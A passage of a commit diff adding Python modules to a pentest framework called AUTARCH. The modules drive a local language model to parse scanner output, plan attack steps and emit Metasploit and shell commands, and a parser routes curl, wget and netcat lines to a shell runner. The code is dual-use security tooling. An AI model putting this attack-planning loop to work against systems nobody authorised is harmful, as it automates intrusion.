return True # Not ELF (script, etc.) — assume OK
# ELF e_machine at offset 18 (2 bytes, little-endian)
e_machine = int.from_bytes(magic[18:20], 'little')
arch = _get_arch()
if arch == 'arm64' and e_machine == 183: # EM_AARCH64
return True
if arch == 'x86_64' and e_machine == 62: # EM_X86_64
return True
if arch == 'arm64' and e_machine == 62: # x86-64 on arm64 host
return False
if arch == 'x86_64' and e_machine == 183: # arm64 on x86-64 host
return False
return True # Unknown arch combo — let it try
except Exception:
return True # Can't read — assume OK
def find_tool(name: str, extra_paths: Optional[List[str]] = None) -> Optional[str]:
"""
Find an executable binary by name.
Search order:
1. System PATH (native binaries, correct architecture)
2. Platform-specific well-known install locations
3. Platform-specific project tools (tools/linux-arm64/ etc.)
4. Generic project directories (android/, tools/, bin/)
5. Extra paths provided by caller
Skips binaries that don't match the host architecture (e.g. x86-64
binaries on ARM64 hosts) to avoid FEX/emulation issues with root.
Returns absolute path string, or None if not found.
"""
# On Windows, append .exe if no extension
names = [name]
if is_windows() and '.' not in name:
names.append(name + '.exe')
# 1. System PATH (most reliable — native packages)
found = shutil.which(name)
if found and _is_native_binary(found):
return found
# 2. Platform-specific well-known locations
plat = get_platform()
for search_dir in _PLATFORM_SEARCH_PATHS.get(plat, []):
if search_dir.is_dir():
for n in names:
full = search_dir / n
if full.is_file() and os.access(str(full), os.X_OK) and _is_native_binary(str(full)):
return str(full)
# 3-4. Bundled project directories
plat_tag = get_platform_tag()
search_dirs = [
_APP_DIR / 'tools' / plat_tag, # Platform-specific (tools/linux-arm64/)
_APP_DIR / 'android', # Android tools
_APP_DIR / 'tools', # Generic tools/
_APP_DIR / 'bin', # Generic bin/
]
for tool_dir in search_dirs:
if tool_dir.is_dir():
for n in names:
full = tool_dir / n
if full.is_file() and os.access(str(full), os.X_OK):
found = str(full)
if not _is_native_binary(found):
continue # Wrong arch — skip
# Apply environment setup for bundled tools
env_fn = _TOOL_ENV_SETUP.get(name)
if env_fn:
globals()[env_fn](found)
return found
# 5. Extra paths from caller
if extra_paths:
for p in extra_paths:
for n in names:
full = os.path.join(p, n)
if os.path.isfile(full) and os.access(full, os.X_OK) and _is_native_binary(full):
return full
# Last resort: return system PATH result even if wrong arch (FEX may work for user)
found = shutil.which(name)
if found:
return found
return None
def tool_available(name: str) -> bool:
"""Check if a tool is available anywhere."""
return find_tool(name) is not None

703
core/pentest_pipeline.py Normal file
View File

@ -0,0 +1,703 @@
"""
AUTARCH Pentest Pipeline
Three-module architecture (Parsing -> Reasoning -> Generation)
based on PentestGPT's USENIX paper methodology.
Uses AUTARCH's local LLM via llama-cpp-python.
"""
import re
from typing import Optional, List, Dict, Any, Tuple
from datetime import datetime
from .pentest_tree import PentestTree, PTTNode, PTTNodeType, NodeStatus
from .config import get_config
# ─── Source type detection patterns ──────────────────────────────────
SOURCE_PATTERNS = {
'nmap': re.compile(r'Nmap scan report|PORT\s+STATE\s+SERVICE|nmap', re.IGNORECASE),
'msf_scan': re.compile(r'auxiliary/scanner|msf\d?\s*>.*auxiliary|^\[\*\]\s.*scanning', re.IGNORECASE | re.MULTILINE),
'msf_exploit': re.compile(r'exploit/|meterpreter|session\s+\d+\s+opened|^\[\*\]\s.*exploit', re.IGNORECASE | re.MULTILINE),
'msf_post': re.compile(r'post/|meterpreter\s*>', re.IGNORECASE),
'web': re.compile(r'HTTP/\d|<!DOCTYPE|<html|Content-Type:', re.IGNORECASE),
'shell': re.compile(r'^\$\s|^root@|^#\s|bash|zsh', re.IGNORECASE | re.MULTILINE),
'gobuster': re.compile(r'Gobuster|gobuster|Dir found|/\w+\s+\(Status:\s*\d+\)', re.IGNORECASE),
'nikto': re.compile(r'Nikto|nikto|^\+\s', re.IGNORECASE | re.MULTILINE),
}
def detect_source_type(output: str) -> str:
"""Auto-detect tool output type from content patterns."""
for source, pattern in SOURCE_PATTERNS.items():
if pattern.search(output[:2000]):
return source
return 'manual'
# ─── Prompt Templates ────────────────────────────────────────────────
PARSING_SYSTEM_PROMPT = """You are a penetration testing output parser. Extract key findings from raw tool output.
Given raw output from a security tool, extract and summarize:
1. Open ports and services (with versions when available)
2. Vulnerabilities or misconfigurations found
3. Credentials or sensitive information discovered
4. Operating system and software versions
5. Any error messages or access denials
Rules:
- Be concise. Use bullet points.
- Include specific version numbers, port numbers, and IP addresses.
- Prefix exploitable findings with [VULN]
- Prefix credentials with [CRED]
- Note failed attempts and why they failed.
- Do not speculate beyond what the output shows.
Format your response as:
SUMMARY: one line description
FINDINGS:
- finding 1
- finding 2
- [VULN] vulnerability finding
STATUS: success/partial/failed"""
REASONING_SYSTEM_PROMPT = """You are a penetration testing strategist. You maintain a task tree and decide next steps.
You will receive:
1. The current task tree showing completed and todo tasks
2. New findings from the latest tool execution
Your job:
1. UPDATE the tree based on new findings
2. DECIDE the single most important next task
Rules:
- Prioritize exploitation paths with highest success likelihood.
- If a service version is known, suggest checking for known CVEs.
- After recon, focus on the most promising attack surface.
- Do not add redundant tasks.
- Mark tasks not-applicable if findings make them irrelevant.
Respond in this exact format:
TREE_UPDATES:
- ADD: parent_id | node_type | priority | task description
- COMPLETE: node_id | findings summary
- NOT_APPLICABLE: node_id | reason
NEXT_TASK: description of the single most important next action
REASONING: 1-2 sentences explaining why this is the highest priority"""
GENERATION_SYSTEM_PROMPT = """You are a penetration testing command generator. Convert task descriptions into specific executable commands.
Available tools:
- shell: Run shell command. Args: {"command": "...", "timeout": 30}
- msf_search: Search MSF modules. Args: {"query": "search term"}
- msf_module_info: Module details. Args: {"module_type": "auxiliary|exploit|post", "module_name": "path"}
- msf_execute: Run MSF module. Args: {"module_type": "...", "module_name": "...", "options": "{\\"RHOSTS\\": \\"...\\"}" }
- msf_sessions: List sessions. Args: {}
- msf_session_command: Command in session. Args: {"session_id": "...", "command": "..."}
- msf_console: MSF console command. Args: {"command": "..."}
Rules:
- Provide the EXACT tool name and JSON arguments.
- Describe what to look for in the output.
- If multiple steps needed, number them.
- Always include RHOSTS/target in module options.
- Prefer auxiliary scanners before exploits.
Format:
COMMANDS:
1. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for
2. TOOL: tool_name | ARGS: {"key": "value"} | EXPECT: what to look for
FALLBACK: alternative approach if primary fails"""
INITIAL_PLAN_PROMPT = """You are a penetration testing strategist planning an engagement.
Target: {target}
Create an initial reconnaissance plan. List the first 3-5 specific tasks to perform, ordered by priority.
Format:
TASKS:
1. node_type | priority | task description
2. node_type | priority | task description
3. node_type | priority | task description
FIRST_ACTION: description of the very first thing to do
REASONING: why start here"""
DISCUSS_SYSTEM_PROMPT = """You are a penetration testing expert assistant. Answer the user's question about their current engagement.
Current target: {target}
Current status:
{tree_summary}
Answer concisely and provide actionable advice."""
# ─── Pipeline Modules ────────────────────────────────────────────────
class ParsingModule:
"""Normalizes raw tool output into structured summaries."""
def __init__(self, llm):
self.llm = llm
self.config = get_config()
def parse(self, raw_output: str, source_type: str = "auto",
context: str = "") -> dict:
"""Parse raw tool output into normalized summary.
Returns dict with 'summary', 'findings', 'status', 'raw_source'.
"""
if source_type == "auto":
source_type = detect_source_type(raw_output)
chunk_size = 2000
try:
chunk_size = self.config.get_int('pentest', 'output_chunk_size', 2000)
except Exception:
pass
chunks = self._chunk_output(raw_output, chunk_size)
all_findings = []
all_summaries = []
status = "unknown"
for i, chunk in enumerate(chunks):
prefix = f"[{source_type} output"
if len(chunks) > 1:
prefix += f" part {i+1}/{len(chunks)}"
prefix += "]"
message = f"{prefix}\n{chunk}"
if context:
message = f"Context: {context}\n\n{message}"
self.llm.clear_history()
try:
response = self.llm.chat(
message,
system_prompt=PARSING_SYSTEM_PROMPT,
temperature=0.2,
max_tokens=512,
)
except Exception as e:
return {
'summary': f"Parse error: {e}",
'findings': [],
'status': 'failed',
'raw_source': source_type,
}
summary, findings, chunk_status = self._parse_response(response)
all_summaries.append(summary)
all_findings.extend(findings)
if chunk_status != "unknown":
status = chunk_status
return {
'summary': " | ".join(all_summaries) if all_summaries else "No summary",
'findings': all_findings,
'status': status,
'raw_source': source_type,
}
def _chunk_output(self, output: str, max_chunk: int = 2000) -> List[str]:
"""Split large output into chunks."""
if len(output) <= max_chunk:
return [output]
chunks = []
lines = output.split('\n')
current = []
current_len = 0
for line in lines:
if current_len + len(line) + 1 > max_chunk and current:
chunks.append('\n'.join(current))
current = []
current_len = 0
current.append(line)
current_len += len(line) + 1
if current:
chunks.append('\n'.join(current))
return chunks
def _parse_response(self, response: str) -> Tuple[str, List[str], str]:
"""Extract summary, findings, and status from LLM response."""
summary = ""
findings = []
status = "unknown"
# Extract SUMMARY
m = re.search(r'SUMMARY:\s*(.+)', response, re.IGNORECASE)
if m:
summary = m.group(1).strip()
# Extract FINDINGS
findings_section = re.search(
r'FINDINGS:\s*\n((?:[-*]\s*.+\n?)+)',
response, re.IGNORECASE
)
if findings_section:
for line in findings_section.group(1).strip().split('\n'):
line = re.sub(r'^[-*]\s*', '', line).strip()
if line:
findings.append(line)
# Extract STATUS
m = re.search(r'STATUS:\s*(\w+)', response, re.IGNORECASE)
if m:
status = m.group(1).strip().lower()
# Fallback: if structured parse failed, use full response
if not summary and not findings:
summary = response[:200].strip()
for line in response.split('\n'):
line = line.strip()
if line.startswith(('-', '*', '[VULN]', '[CRED]')):
findings.append(re.sub(r'^[-*]\s*', '', line))
return summary, findings, status
class ReasoningModule:
"""Maintains PTT and decides next actions."""
def __init__(self, llm, tree: PentestTree):
self.llm = llm
self.tree = tree
def reason(self, parsed_output: dict, context: str = "") -> dict:
"""Three-step reasoning: update tree, validate, extract next todo.
Returns dict with 'tree_updates', 'next_task', 'reasoning'.
"""
tree_summary = self.tree.render_summary()
findings_text = parsed_output.get('summary', '')
if parsed_output.get('findings'):
findings_text += "\nFindings:\n"
for f in parsed_output['findings']:
findings_text += f"- {f}\n"
message = (
f"Current pentest tree:\n{tree_summary}\n\n"
f"New information ({parsed_output.get('raw_source', 'unknown')}):\n"
f"{findings_text}"
)
if context:
message += f"\n\nAdditional context: {context}"
self.llm.clear_history()
try:
response = self.llm.chat(
message,
system_prompt=REASONING_SYSTEM_PROMPT,
temperature=0.3,
max_tokens=1024,
)
except Exception as e:
return {
'tree_updates': [],
'next_task': f"Error during reasoning: {e}",
'reasoning': str(e),
}
updates = self._parse_tree_updates(response)
self._apply_updates(updates)
next_task = ""
m = re.search(r'NEXT_TASK:\s*(.+)', response, re.IGNORECASE)
if m:
next_task = m.group(1).strip()
reasoning = ""
m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE | re.DOTALL)
if m:
reasoning = m.group(1).strip().split('\n')[0]
# Fallback: if no NEXT_TASK parsed, get from tree
if not next_task:
todo = self.tree.get_next_todo()
if todo:
next_task = todo.label
return {
'tree_updates': updates,
'next_task': next_task,
'reasoning': reasoning,
}
def _parse_tree_updates(self, response: str) -> List[dict]:
"""Extract tree operations from LLM response."""
updates = []
# Parse ADD operations
for m in re.finditer(
r'ADD:\s*(\S+)\s*\|\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)',
response, re.IGNORECASE
):
parent = m.group(1).strip()
if parent.lower() in ('root', 'none', '-'):
parent = None
ntype_str = m.group(2).strip().lower()
ntype = self._map_node_type(ntype_str)
updates.append({
'operation': 'add',
'parent_id': parent,
'node_type': ntype,
'priority': int(m.group(3)),
'label': m.group(4).strip(),
})
# Parse COMPLETE operations
for m in re.finditer(
r'COMPLETE:\s*(\S+)\s*\|\s*(.+)',
response, re.IGNORECASE
):
updates.append({
'operation': 'complete',
'node_id': m.group(1).strip(),
'findings': m.group(2).strip(),
})
# Parse NOT_APPLICABLE operations
for m in re.finditer(
r'NOT_APPLICABLE:\s*(\S+)\s*\|\s*(.+)',
response, re.IGNORECASE
):
updates.append({
'operation': 'not_applicable',
'node_id': m.group(1).strip(),
'reason': m.group(2).strip(),
})
return updates
def _map_node_type(self, type_str: str) -> PTTNodeType:
"""Map a string to PTTNodeType."""
mapping = {
'recon': PTTNodeType.RECONNAISSANCE,
'reconnaissance': PTTNodeType.RECONNAISSANCE,
'initial_access': PTTNodeType.INITIAL_ACCESS,
'initial': PTTNodeType.INITIAL_ACCESS,
'access': PTTNodeType.INITIAL_ACCESS,
'privesc': PTTNodeType.PRIVILEGE_ESCALATION,
'privilege_escalation': PTTNodeType.PRIVILEGE_ESCALATION,
'escalation': PTTNodeType.PRIVILEGE_ESCALATION,
'lateral': PTTNodeType.LATERAL_MOVEMENT,
'lateral_movement': PTTNodeType.LATERAL_MOVEMENT,
'persistence': PTTNodeType.PERSISTENCE,
'credential': PTTNodeType.CREDENTIAL_ACCESS,
'credential_access': PTTNodeType.CREDENTIAL_ACCESS,
'creds': PTTNodeType.CREDENTIAL_ACCESS,
'exfiltration': PTTNodeType.EXFILTRATION,
'exfil': PTTNodeType.EXFILTRATION,
}
return mapping.get(type_str.lower(), PTTNodeType.CUSTOM)
def _apply_updates(self, updates: List[dict]):
"""Apply parsed operations to the tree."""
for update in updates:
op = update['operation']
if op == 'add':
# Resolve parent - could be an ID or a label
parent_id = update.get('parent_id')
if parent_id and parent_id not in self.tree.nodes:
# Try to find by label match
node = self.tree.find_node_by_label(parent_id)
parent_id = node.id if node else None
self.tree.add_node(
label=update['label'],
node_type=update['node_type'],
parent_id=parent_id,
priority=update.get('priority', 3),
)
elif op == 'complete':
node_id = update['node_id']
if node_id not in self.tree.nodes:
node = self.tree.find_node_by_label(node_id)
if node:
node_id = node.id
else:
continue
self.tree.update_node(
node_id,
status=NodeStatus.COMPLETED,
findings=[update.get('findings', '')],
)
elif op == 'not_applicable':
node_id = update['node_id']
if node_id not in self.tree.nodes:
node = self.tree.find_node_by_label(node_id)
if node:
node_id = node.id
else:
continue
self.tree.update_node(
node_id,
status=NodeStatus.NOT_APPLICABLE,
details=update.get('reason', ''),
)
class GenerationModule:
"""Converts abstract tasks into concrete commands."""
def __init__(self, llm):
self.llm = llm
def generate(self, task_description: str, target: str,
context: str = "") -> dict:
"""Generate executable commands for a task.
Returns dict with 'commands' (list) and 'fallback' (str).
"""
message = f"Target: {target}\nTask: {task_description}"
if context:
message += f"\n\nContext: {context}"
self.llm.clear_history()
try:
response = self.llm.chat(
message,
system_prompt=GENERATION_SYSTEM_PROMPT,
temperature=0.2,
max_tokens=512,
)
except Exception as e:
return {
'commands': [],
'fallback': f"Generation error: {e}",
'raw_response': str(e),
}
commands = self._parse_commands(response)
fallback = ""
m = re.search(r'FALLBACK:\s*(.+)', response, re.IGNORECASE | re.DOTALL)
if m:
fallback = m.group(1).strip().split('\n')[0]
return {
'commands': commands,
'fallback': fallback,
'raw_response': response,
}
def _parse_commands(self, response: str) -> List[dict]:
"""Extract commands from LLM response."""
commands = []
# Parse structured TOOL: ... | ARGS: ... | EXPECT: ... format
for m in re.finditer(
r'TOOL:\s*(\w+)\s*\|\s*ARGS:\s*(\{[^}]+\})\s*\|\s*EXPECT:\s*(.+)',
response, re.IGNORECASE
):
tool_name = m.group(1).strip()
args_str = m.group(2).strip()
expect = m.group(3).strip()
# Try to parse JSON args
import json
try:
args = json.loads(args_str)
except json.JSONDecodeError:
# Try fixing common LLM JSON issues
fixed = args_str.replace("'", '"')
try:
args = json.loads(fixed)
except json.JSONDecodeError:
args = {'raw': args_str}
commands.append({
'tool': tool_name,
'args': args,
'expect': expect,
})
# Fallback: try to find shell commands or MSF commands
if not commands:
for line in response.split('\n'):
line = line.strip()
# Detect nmap/shell commands
if re.match(r'^(nmap|nikto|gobuster|curl|wget|nc|netcat)\s', line):
commands.append({
'tool': 'shell',
'args': {'command': line},
'expect': 'Check output for results',
})
# Detect MSF use/run commands
elif re.match(r'^(use |run |set )', line, re.IGNORECASE):
commands.append({
'tool': 'msf_console',
'args': {'command': line},
'expect': 'Check output for results',
})
return commands
# ─── Pipeline Orchestrator ────────────────────────────────────────────
class PentestPipeline:
"""Orchestrates the three-module pipeline."""
def __init__(self, llm, target: str, tree: PentestTree = None):
self.llm = llm
self.target = target
self.tree = tree or PentestTree(target)
self.parser = ParsingModule(llm)
self.reasoner = ReasoningModule(llm, self.tree)
self.generator = GenerationModule(llm)
self.history: List[dict] = []
def process_output(self, raw_output: str,
source_type: str = "auto") -> dict:
"""Full pipeline: parse -> reason -> generate.
Returns dict with 'parsed', 'reasoning', 'commands', 'next_task'.
"""
# Step 1: Parse
parsed = self.parser.parse(raw_output, source_type)
# Step 2: Reason
reasoning = self.reasoner.reason(parsed)
# Step 3: Generate commands for the next task
generated = {'commands': [], 'fallback': ''}
if reasoning.get('next_task'):
# Build context from recent findings
context = parsed.get('summary', '')
generated = self.generator.generate(
reasoning['next_task'],
self.target,
context=context,
)
result = {
'parsed': parsed,
'reasoning': reasoning,
'commands': generated.get('commands', []),
'fallback': generated.get('fallback', ''),
'next_task': reasoning.get('next_task', ''),
}
self.history.append({
'timestamp': datetime.now().isoformat(),
'result': {
'parsed_summary': parsed.get('summary', ''),
'findings_count': len(parsed.get('findings', [])),
'next_task': reasoning.get('next_task', ''),
'commands_count': len(generated.get('commands', [])),
}
})
return result
def get_initial_plan(self) -> dict:
"""Generate initial pentest plan for the target."""
prompt = INITIAL_PLAN_PROMPT.format(target=self.target)
self.llm.clear_history()
try:
response = self.llm.chat(
prompt,
system_prompt=REASONING_SYSTEM_PROMPT,
temperature=0.3,
max_tokens=1024,
)
except Exception as e:
return {
'tasks': [],
'first_action': f"Error: {e}",
'reasoning': str(e),
}
# Parse TASKS
tasks = []
for m in re.finditer(
r'(\d+)\.\s*(\w+)\s*\|\s*(\d)\s*\|\s*(.+)',
response
):
ntype_str = m.group(2).strip()
ntype = self.reasoner._map_node_type(ntype_str)
tasks.append({
'node_type': ntype,
'priority': int(m.group(3)),
'label': m.group(4).strip(),
})
# Add tasks to tree under appropriate branches
for task in tasks:
# Find matching root branch
parent_id = None
for root_id in self.tree.root_nodes:
root = self.tree.get_node(root_id)
if root and root.node_type == task['node_type']:
parent_id = root_id
break
self.tree.add_node(
label=task['label'],
node_type=task['node_type'],
parent_id=parent_id,
priority=task['priority'],
)
# Parse first action
first_action = ""
m = re.search(r'FIRST_ACTION:\s*(.+)', response, re.IGNORECASE)
if m:
first_action = m.group(1).strip()
reasoning = ""
m = re.search(r'REASONING:\s*(.+)', response, re.IGNORECASE)
if m:
reasoning = m.group(1).strip()
# Generate commands for first action
commands = []
if first_action:
gen = self.generator.generate(first_action, self.target)
commands = gen.get('commands', [])
return {
'tasks': tasks,
'first_action': first_action,
'reasoning': reasoning,
'commands': commands,
}
def inject_information(self, info: str, source: str = "manual") -> dict:
"""Inject external information and get updated recommendations."""
parsed = {
'summary': info[:200],
'findings': [info],
'status': 'success',
'raw_source': source,
}
return self.process_output(info, source_type=source)
def discuss(self, question: str) -> str:
"""Ad-hoc question that doesn't affect the tree."""
tree_summary = self.tree.render_summary()
prompt = DISCUSS_SYSTEM_PROMPT.format(
target=self.target,
tree_summary=tree_summary,
)
self.llm.clear_history()
try:
return self.llm.chat(
question,
system_prompt=prompt,
temperature=0.5,
max_tokens=1024,
)
except Exception as e:
return f"Error: {e}"

279
core/pentest_session.py Normal file
View File

@ -0,0 +1,279 @@
"""
AUTARCH Pentest Session Manager
Save and resume penetration testing sessions with full state persistence.
"""
import json
import re
from enum import Enum
from dataclasses import dataclass, field
from datetime import datetime
from pathlib import Path
from typing import Optional, List, Dict, Any
from .pentest_tree import PentestTree, NodeStatus
class PentestSessionState(Enum):
IDLE = "idle"
RUNNING = "running"
PAUSED = "paused"
COMPLETED = "completed"
ERROR = "error"
@dataclass
class SessionEvent:
"""A single event in the session timeline."""
timestamp: str
event_type: str
data: dict
def to_dict(self) -> dict:
return {
'timestamp': self.timestamp,
'event_type': self.event_type,
'data': self.data,
}
@classmethod
def from_dict(cls, data: dict) -> 'SessionEvent':
return cls(
timestamp=data['timestamp'],
event_type=data['event_type'],
data=data.get('data', {}),
)
class PentestSession:
"""Manages a single penetration testing session."""
@classmethod
def _get_dir(cls):
from core.paths import get_data_dir
d = get_data_dir() / "pentest_sessions"
d.mkdir(parents=True, exist_ok=True)
return d
def __init__(self, target: str, session_id: str = None):
self.session_id = session_id or self._generate_id(target)
self.target = target
self.state = PentestSessionState.IDLE
self.tree = PentestTree(target)
self.events: List[SessionEvent] = []
self.findings: List[Dict[str, Any]] = []
self.pipeline_history: List[dict] = []
self.notes: str = ""
self.step_count: int = 0
now = datetime.now().isoformat()
self.created_at = now
self.updated_at = now
@staticmethod
def _generate_id(target: str) -> str:
"""Generate a session ID from target and timestamp."""
safe = re.sub(r'[^a-zA-Z0-9]', '_', target)[:30]
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
return f"{safe}_{ts}"
def start(self):
"""Initialize a new session."""
self.state = PentestSessionState.RUNNING
self.tree.initialize_standard_branches()
self.log_event('state_change', {'from': 'idle', 'to': 'running'})
self.save()
def pause(self):
"""Pause the session and save state."""
prev = self.state.value
self.state = PentestSessionState.PAUSED
self.log_event('state_change', {'from': prev, 'to': 'paused'})
self.save()
def resume(self):
"""Resume a paused session."""
prev = self.state.value
self.state = PentestSessionState.RUNNING
self.log_event('state_change', {'from': prev, 'to': 'running'})
self.save()
def complete(self, summary: str = ""):
"""Mark session as completed."""
prev = self.state.value
self.state = PentestSessionState.COMPLETED
self.log_event('state_change', {
'from': prev,
'to': 'completed',
'summary': summary,
})
self.save()
def set_error(self, error_msg: str):
"""Mark session as errored."""
prev = self.state.value
self.state = PentestSessionState.ERROR
self.log_event('state_change', {
'from': prev,
'to': 'error',
'error': error_msg,
})
self.save()
def log_event(self, event_type: str, data: dict):
"""Log an event to the session timeline."""
event = SessionEvent(
timestamp=datetime.now().isoformat(),
event_type=event_type,
data=data,
)
self.events.append(event)
self.updated_at = event.timestamp
def log_pipeline_result(self, parsed: str, reasoning: str, actions: list):
"""Log a pipeline execution cycle."""
self.pipeline_history.append({
'timestamp': datetime.now().isoformat(),
'step': self.step_count,
'parsed_input': parsed,
'reasoning': reasoning,
'generated_actions': actions,
})
self.step_count += 1
def add_finding(self, title: str, description: str,
severity: str = "medium", node_id: str = None):
"""Add a key finding."""
self.findings.append({
'timestamp': datetime.now().isoformat(),
'severity': severity,
'title': title,
'description': description,
'node_id': node_id,
})
def save(self) -> str:
"""Save session to JSON file. Returns filepath."""
self._get_dir().mkdir(parents=True, exist_ok=True)
filepath = self._get_dir() / f"{self.session_id}.json"
data = {
'session_id': self.session_id,
'target': self.target,
'state': self.state.value,
'created_at': self.created_at,
'updated_at': self.updated_at,
'notes': self.notes,
'step_count': self.step_count,
'tree': self.tree.to_dict(),
'events': [e.to_dict() for e in self.events],
'findings': self.findings,
'pipeline_history': self.pipeline_history,
}
with open(filepath, 'w') as f:
json.dump(data, f, indent=2)
return str(filepath)
@classmethod
def load_session(cls, session_id: str) -> 'PentestSession':
"""Load a session from file."""
filepath = cls._get_dir() / f"{session_id}.json"
if not filepath.exists():
raise FileNotFoundError(f"Session not found: {session_id}")
with open(filepath, 'r') as f:
data = json.load(f)
session = cls(target=data['target'], session_id=data['session_id'])
session.state = PentestSessionState(data['state'])
session.created_at = data['created_at']
session.updated_at = data['updated_at']
session.notes = data.get('notes', '')
session.step_count = data.get('step_count', 0)
session.tree = PentestTree.from_dict(data['tree'])
session.events = [SessionEvent.from_dict(e) for e in data.get('events', [])]
session.findings = data.get('findings', [])
session.pipeline_history = data.get('pipeline_history', [])
return session
@classmethod
def list_sessions(cls) -> List[Dict[str, Any]]:
"""List all saved sessions with summary info."""
cls._get_dir().mkdir(parents=True, exist_ok=True)
sessions = []
for f in sorted(cls._get_dir().glob("*.json"), key=lambda p: p.stat().st_mtime, reverse=True):
try:
with open(f, 'r') as fh:
data = json.load(fh)
stats = {}
if 'tree' in data and 'nodes' in data['tree']:
nodes = data['tree']['nodes']
stats = {
'total': len(nodes),
'todo': sum(1 for n in nodes.values() if n.get('status') == 'todo'),
'completed': sum(1 for n in nodes.values() if n.get('status') == 'completed'),
}
sessions.append({
'session_id': data['session_id'],
'target': data['target'],
'state': data['state'],
'created': data['created_at'],
'updated': data['updated_at'],
'steps': data.get('step_count', 0),
'findings': len(data.get('findings', [])),
'tree_stats': stats,
})
except (json.JSONDecodeError, KeyError):
continue
return sessions
def delete(self) -> bool:
"""Delete this session's file."""
filepath = self._get_dir() / f"{self.session_id}.json"
if filepath.exists():
filepath.unlink()
return True
return False
def export_report(self) -> str:
"""Generate a text summary report of the session."""
stats = self.tree.get_stats()
lines = [
"=" * 60,
"AUTARCH Pentest Session Report",
"=" * 60,
f"Target: {self.target}",
f"Session: {self.session_id}",
f"State: {self.state.value}",
f"Started: {self.created_at}",
f"Updated: {self.updated_at}",
f"Steps: {self.step_count}",
"",
"--- Task Tree ---",
f"Total nodes: {stats['total']}",
f" Completed: {stats.get('completed', 0)}",
f" Todo: {stats.get('todo', 0)}",
f" Active: {stats.get('in_progress', 0)}",
f" N/A: {stats.get('not_applicable', 0)}",
"",
self.tree.render_text(),
"",
]
if self.findings:
lines.append("--- Findings ---")
for i, f in enumerate(self.findings, 1):
sev = f.get('severity', 'medium').upper()
lines.append(f" [{i}] [{sev}] {f['title']}")
lines.append(f" {f['description']}")
lines.append("")
if self.notes:
lines.append("--- Notes ---")
lines.append(self.notes)
lines.append("")
lines.append("=" * 60)
return "\n".join(lines)

350
core/pentest_tree.py Normal file
View File

@ -0,0 +1,350 @@
"""
AUTARCH Penetration Testing Tree (PTT)
Hierarchical task tracker for structured penetration testing workflows.
Based on PentestGPT's USENIX paper methodology.
"""
import uuid
from enum import Enum
from dataclasses import dataclass, field
from datetime import datetime
from typing import Optional, List, Dict, Any
class NodeStatus(Enum):
TODO = "todo"
IN_PROGRESS = "in_progress"
COMPLETED = "completed"
NOT_APPLICABLE = "not_applicable"
class PTTNodeType(Enum):
RECONNAISSANCE = "reconnaissance"
INITIAL_ACCESS = "initial_access"
PRIVILEGE_ESCALATION = "privilege_escalation"
LATERAL_MOVEMENT = "lateral_movement"
PERSISTENCE = "persistence"
CREDENTIAL_ACCESS = "credential_access"
EXFILTRATION = "exfiltration"
CUSTOM = "custom"
@dataclass
class PTTNode:
"""A single node in the Penetration Testing Tree."""
id: str
label: str
node_type: PTTNodeType
status: NodeStatus = NodeStatus.TODO
parent_id: Optional[str] = None
children: List[str] = field(default_factory=list)
details: str = ""
tool_output: Optional[str] = None
findings: List[str] = field(default_factory=list)
priority: int = 3
created_at: str = ""
updated_at: str = ""
def __post_init__(self):
now = datetime.now().isoformat()
if not self.created_at:
self.created_at = now
if not self.updated_at:
self.updated_at = now
def to_dict(self) -> dict:
return {
'id': self.id,
'label': self.label,
'node_type': self.node_type.value,
'status': self.status.value,
'parent_id': self.parent_id,
'children': self.children.copy(),
'details': self.details,
'tool_output': self.tool_output,
'findings': self.findings.copy(),
'priority': self.priority,
'created_at': self.created_at,
'updated_at': self.updated_at,
}
@classmethod
def from_dict(cls, data: dict) -> 'PTTNode':
return cls(
id=data['id'],
label=data['label'],
node_type=PTTNodeType(data['node_type']),
status=NodeStatus(data['status']),
parent_id=data.get('parent_id'),
children=data.get('children', []),
details=data.get('details', ''),
tool_output=data.get('tool_output'),
findings=data.get('findings', []),
priority=data.get('priority', 3),
created_at=data.get('created_at', ''),
updated_at=data.get('updated_at', ''),
)
# Status display symbols
_STATUS_SYMBOLS = {
NodeStatus.TODO: '[ ]',
NodeStatus.IN_PROGRESS: '[~]',
NodeStatus.COMPLETED: '[x]',
NodeStatus.NOT_APPLICABLE: '[-]',
}
class PentestTree:
"""Penetration Testing Tree - hierarchical task tracker."""
def __init__(self, target: str):
self.target = target
self.nodes: Dict[str, PTTNode] = {}
self.root_nodes: List[str] = []
now = datetime.now().isoformat()
self.created_at = now
self.updated_at = now
def add_node(
self,
label: str,
node_type: PTTNodeType,
parent_id: Optional[str] = None,
details: str = "",
priority: int = 3,
status: NodeStatus = NodeStatus.TODO,
) -> str:
"""Add a node to the tree. Returns the new node's ID."""
node_id = str(uuid.uuid4())[:8]
node = PTTNode(
id=node_id,
label=label,
node_type=node_type,
status=status,
parent_id=parent_id,
details=details,
priority=priority,
)
self.nodes[node_id] = node
if parent_id and parent_id in self.nodes:
self.nodes[parent_id].children.append(node_id)
elif parent_id is None:
self.root_nodes.append(node_id)
self.updated_at = datetime.now().isoformat()
return node_id
def update_node(
self,
node_id: str,
status: Optional[NodeStatus] = None,
details: Optional[str] = None,
tool_output: Optional[str] = None,
findings: Optional[List[str]] = None,
priority: Optional[int] = None,
label: Optional[str] = None,
) -> bool:
"""Update a node's properties. Returns True if found and updated."""
node = self.nodes.get(node_id)
if not node:
return False
if status is not None:
node.status = status
if details is not None:
node.details = details
if tool_output is not None:
node.tool_output = tool_output
if findings is not None:
node.findings.extend(findings)
if priority is not None:
node.priority = priority
if label is not None:
node.label = label
node.updated_at = datetime.now().isoformat()
self.updated_at = node.updated_at
return True
def delete_node(self, node_id: str) -> bool:
"""Delete a node and all its children recursively."""
node = self.nodes.get(node_id)
if not node:
return False
# Recursively delete children
for child_id in node.children.copy():
self.delete_node(child_id)
# Remove from parent's children list
if node.parent_id and node.parent_id in self.nodes:
parent = self.nodes[node.parent_id]
if node_id in parent.children:
parent.children.remove(node_id)
# Remove from root nodes if applicable
if node_id in self.root_nodes:
self.root_nodes.remove(node_id)
del self.nodes[node_id]
self.updated_at = datetime.now().isoformat()
return True
def get_node(self, node_id: str) -> Optional[PTTNode]:
return self.nodes.get(node_id)
def get_next_todo(self) -> Optional[PTTNode]:
"""Get the highest priority TODO node."""
todos = [n for n in self.nodes.values() if n.status == NodeStatus.TODO]
if not todos:
return None
return min(todos, key=lambda n: n.priority)
def get_all_by_status(self, status: NodeStatus) -> List[PTTNode]:
return [n for n in self.nodes.values() if n.status == status]
